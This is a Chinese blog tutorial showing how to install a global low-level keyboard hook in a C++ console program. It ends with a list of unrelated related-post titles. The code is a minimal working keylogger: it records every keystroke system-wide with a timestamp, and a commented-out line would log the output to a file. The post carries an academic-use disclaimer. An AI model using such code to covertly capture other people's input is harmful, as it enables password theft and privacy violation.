有关利用C++设置键盘钩子的代码,基本上都是基于一个窗口程序,其实控制台窗口也能够实现,我们不需要太多的修改即可实现。

在SetWindowsHookEx()函数中的第一个参数我们要设置成

WH_KEYBOARD_LL

而不是

WH_KEYBOARD

为什么呢?在这里我们实现的钩子是全局钩子!WH_KEYBOARD_LL记录的所有程序的按键信息,也就是说只要有键盘按键这个时间它就会触发。

而WH_KEYBOARD只记录当前本程序的主进程的键盘输入。

那么问题来了,当我们设置成WH_KEYBOARD时,我们往控制台窗口输入按键时,它会不会有响应呢,答案是不能。那么有人就要问了,难道那个控制台窗口不是控制台程序的主进程吗,没错,你猜对了。至于为什么,请读者自行上网查询。

至于Windows.h 和windows.h的区别,可以点击一下链接

高速公路-Windows.h与windows.h的区别https://blog.csdn.net/way_back/article/details/122755276?spm=1001.2014.3001.5501

Code(Dev C++ IDE)

#include<Windows.h>
#include<cstdio>
//#include<cstring>
SYSTEMTIME systime;
LRESULT CALLBACK Proc(int code,WPARAM w,LPARAM l){KBDLLHOOKSTRUCT *T=(KBDLLHOOKSTRUCT*)l;DWORD x=T->vkCode;if(w==WM_KEYDOWN){GetLocalTime(&systime);printf("Tip->%d/%d/%d %d:%d:%d",systime.wYear,systime.wMonth,systime.wDay,systime.wHour,systime.wMinute,systime.wSecond);printf("   Press:  ");putchar(x);putchar('\n');}return CallNextHookEx(NULL,code,w,l);
}
int main(){//freopen("Date.in","a+",stdout);HHOOK hook=::SetWindowsHookEx(WH_KEYBOARD_LL,Proc,0,0);MSG msg;while(GetMessage(&msg,NULL,0,0)){TranslateMessage(&msg);DispatchMessage(&msg);}UnhookWindowsHookEx(hook); return 0;
}

免责声明:

本讲解是纯学术性质,请勿盗取他人信息,违反法律

C++ 监视用户输入的数据(键盘钩子)代码及详解相关推荐

  1. [免费专栏] Android安全之数据存储与数据安全「详解」

    也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大 少走了弯路,也就错过了风景,无论如何,感谢经历 Android安全付费专栏长期更新,本篇最新内容请前往: [ ...

  2. vsftp建立虚拟用户不同目录分配不同权限操作步骤详解

    这篇文章主要介绍了vsftp建立虚拟用户不同目录分配不同权限操作步骤详解,大家参考设置自己的FTP服务器吧vsftpd服务器同时支持匿名用户.本地用户和虚拟用户三类用户账号,使用虚拟用户账号可以提供集 ...

  3. 04-mysql数据备份之mysqldump命令详解

    MYSQL数据备份之mysqldump命令详解 一.mysqldump 简介 mysqldump 是 MySQL 自带的逻辑备份工具. 它的备份原理是通过协议连接到 MySQL 数据库,将需要备份的数 ...

  4. pyecharts在数据可视化中的应用详解

    使用pyecharts进行数据可视化 安装  pip install pyecharts也可以在pycharm软件里进行下载pyecharts库包. 下载成功后进行查询版本号 import pyech ...

  5. 【Dash搭建可视化网站】项目12:全球恐怖主义数据大屏制作步骤详解

    全球恐怖主义数据大屏制作步骤详解 1 项目效果图 2 项目架构 3 文件介绍和功能完善 3.1 assets文件夹介绍 3.2 app.py和index.py文件完善 3.3 header.py文件完 ...

  6. Tribon模型数据抽取之sx700.exe详解

    Tribon模型数据抽取之sx700.exe详解 一:简介 网络上关于Tribon模型数据抽取的论文最早流传的是2006哈尔滨工程大学姚竞争的工学硕士学位论文<TRIBON模型的数据抽取及二次开 ...

  7. Mac入门实用手册:键盘快捷键(图文详解)

    macOS作为 Apple 最成熟的系统之一,已然成为许多人每天都在接触的生产力工具.为了帮助大家更好地了解 macOS 的生态魅力,我们整理了这份融合了文字图片和动图的「macOS 技巧实用集锦」, ...

  8. java构造和解析json_Java构造和解析Json数据的两种方法详解一

    在www.json.org上公布了很多JAVA下的json构造和解析工具,其中org.json和json-lib比较简单,两者使用上差不多但还是有些区别.下面首先介绍用json-lib构造和解析Jso ...

  9. java json解析 代码_Java构造和解析Json数据的两种方法详解一

    在www.json.org上公布了很多JAVA下的json构造和解析工具,其中org.json和json-lib比较简单,两者使用上差不多但还是有些区别.下面首先介绍用json-lib构造和解析Jso ...

最新文章

  1. Unity电子游戏优化终极指南 The Ultimate Guide to Video Game Optimisation
  2. 枚举 + 进制转换 --- hdu 4937 Lucky Number
  3. 青藏高原地下巨型空间形成原因
  4. FOJ 2105 Digits Count
  5. 数组声明为public final static缺陷
  6. JAVAWEB开发之JSP、EL、及会话技术(Cookie和Session)的使用详解
  7. 前端学习(2648):vue3.0的处理展示
  8. MYSQL delete 从多人表中删除
  9. stl之bit_vector原理及应用
  10. 几何分布的期望和方差公式推导_数学期望、方差、协方差
  11. [DOTween]使用过程中的一些注意事项记录
  12. 配置管理——配置项标识
  13. 算法笔记-----归并排序
  14. php日志,记录日志
  15. Flutter Card组件
  16. 遗传算法求解TSP问题(C++实现)
  17. 网易有道三季报解读:转型“有道”,但依旧道阻且长
  18. java ctr_分组密码_计数器(CTR)模式_原理及java实现
  19. 深入解析ThreadLocal源码
  20. Mysql错误:Table 'xxx'is marked as crashed and should be repaired

热门文章

  1. 计算机设置调整吃鸡,吃鸡在哪里设置调整画面啊 吃鸡整体画面优化方法
  2. ZZNUOJ_用C语言编写程序实现1375:画箭(附完整源码)
  3. 统计学-Week14
  4. 使用命令提示符进行转换GPT
  5. 模数转换(A/D)和数模转换(D/A) 图示
  6. 从键盘输入一句英文,实现把这句英文的单词按照字典顺序排序输出。
  7. 连接数据库中出现mysql错误:Duplicate entry ‘5‘ for key ‘PRIMARY‘
  8. 网易“暴力”裁掉绝症老员工,背后是藏不住的“中年危机”
  9. i5 11300h核显相当于什么显卡
  10. oracle安装出现问题--无法在节点上执行物理内存检查